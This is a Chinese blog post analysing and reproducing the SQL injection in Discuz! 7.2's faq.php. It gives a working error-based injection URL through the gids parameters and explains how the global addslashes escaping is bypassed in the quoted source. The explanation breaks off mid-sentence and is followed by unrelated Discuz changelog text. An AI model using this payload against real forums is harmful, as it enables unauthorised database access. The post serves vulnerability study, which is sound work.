复现一个老漏洞 Discuz!7.2 faq.php 注入漏洞 分析原理

本文详细分析了Discuz!7.2的FAQ.php页面存在的SQL注入漏洞,通过示例POC展示了如何利用该漏洞进行SQL查询,包括获取数据库信息、用户信息等。关键在于Discuz全局变量处理导致的注入机会,通过巧妙构造参数绕过安全防护。

源码~   http://pan.baidu.com/s/1gfkvJrX

poc

/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23

discuz开启全局变量注册,所以不用声明请求的方式。

关键代码  148行   

} elseif($action == 'grouppermission') {

...
...
	ksort($gids);
	$groupids = array();
	foreach($gids as $row) {
		$groupids[] = $row[0];
	}

	$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

定义数组groupids,

进入for循环,然后把$gids中第一个数组赋值给$groupids,看到这里的$row[0],当遇到数组时,取第一个数组,当遇到字符串时,取字符串的第一个字符。

discuz在全局会对GET数组进行addslashes转义,也就是说会将 ' 转义成  \',所以,如果我们的传入的参数是:gids[1]= ' 的话,  会

Discuz! 7.2版本充分听取了来自社区运营一线的想法和需求,增加和改进30余处与社区门户运营密切相关的功能与细节。为了把握当前主流社区产品的应用趋势,满足 地方及垂直社区门户化、规模化发展的应用需求,康盛创想官方开发团队通过需求调研和走访交流,与全国各地数千名站长面对面的对话与沟通,在Discuz! 7.1版本的基础之上完成了产品的升级换代,实现了当前站长需求最迫切的数十项产品功能。 Discuz! 7.2  Changelog 20100110 更新内容: 修复版本存在的重要安全问题 修复版本中存在的其他使用 bug Discuz! 7.2  Changelog 20091126 更新列表: 修正 静态化URL导致多版块置顶不正常 修正 个人资料页语言包缺失 修正 无权限登陆缺少email选项 修正 版块绑定域名后去不掉 修正 图章管理撤销问题 修正 默认分类项目显示bug 修正 升级时非cdb_表前缀问题 修正 默认feeds数据的错误 修正 辩论帖用户头像重复的问题 修正 分类信息建表字符集问题 修正 分类信息列表调整 修正 升级文件分类信息问题 修正 版主用户报告页面IE6下不能提交删除 修正 附件列表中判断媒体文件扩展名不区分大小写 修正 收费附件直接下载判断 修正 后台指删帖减积分时各版块积分设置优先 修正 utf-8版中活动帖导出excel乱码问题 修正 边栏 Warning错误 新增 去掉特殊主题的帖内广告限制 新增 版块设置复制加入主题分类设置 Discuz! 7.2 Release 20101020 补丁包 修补办法: 下载并解压缩文件,上传文件到论坛根目录,覆盖原来的文件即可 问题修复: 后台安全BUG。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值